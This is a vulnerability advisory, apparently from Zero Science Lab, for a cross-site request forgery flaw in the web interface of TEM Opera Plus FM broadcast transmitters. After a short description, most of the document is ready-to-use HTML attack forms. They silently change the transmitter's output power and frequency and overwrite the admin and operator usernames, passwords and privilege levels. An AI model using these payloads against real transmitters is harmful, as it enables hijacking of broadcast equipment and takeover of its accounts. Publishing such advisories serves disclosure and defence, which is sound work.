TEM Opera Plus FM Family Transmitter 35.45 XSRF

Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.
Product web page:
Affected version: Software version: 35.45
                  Webserver version: 1.7

Summary: This new line of Opera plus FM Transmitters combines very
high efficiency, high reliability and low energy consumption in compact
solutions. They have innovative functions and features that can eliminate
the costs required by additional equipment: automatic exchange of audio
sources, built-in stereo encoder, integrated RDS encoder, parallel I/O
card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Webserver

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2023-5800
Advisory URL:



CSRF Change Forward Power:

    <form action="" method="POST" enctype="text/plain">
      <input type="hidden" name="Pwr" value="00100" />
      <input type="submit" value="Change" />

CSRF Change Frequency:

    <form action="" method="POST" enctype="text/plain">
      <input type="hidden" name="Freq" value="95&#46;5" />
      <input type="submit" value="Change" />

CSRF Change User/Pass/Priv Change Admin/User/Pass:

    <form action="" method="POST">
      <input type="hidden" name="usr0" value="admin" />
      <input type="hidden" name="psw0" value="admin" />
      <input type="hidden" name="usr1" value="operator1" />
      <input type="hidden" name="psw1" value="operator1" />
      <input type="hidden" name="lev1" value="1" />
      <input type="hidden" name="usr2" value="operator2" />
      <input type="hidden" name="psw2" value="operator2" />
      <input type="hidden" name="lev2" value="1" />
      <input type="hidden" name="usr3" value="consulter1" />
      <input type="hidden" name="psw3" value="consulter1" />
      <input type="hidden" name="lev3" value="2" />
      <input type="hidden" name="usr4" value="consulter2" />
      <input type="hidden" name="psw4" value="consulter2" />
      <input type="hidden" name="lev4" value="2" />
      <input type="hidden" name="usr5" value="consulter3" />
      <input type="hidden" name="psw5" value="consulter3" />
      <input type="hidden" name="lev5" value="2" />
      <input type="submit" value="Change" />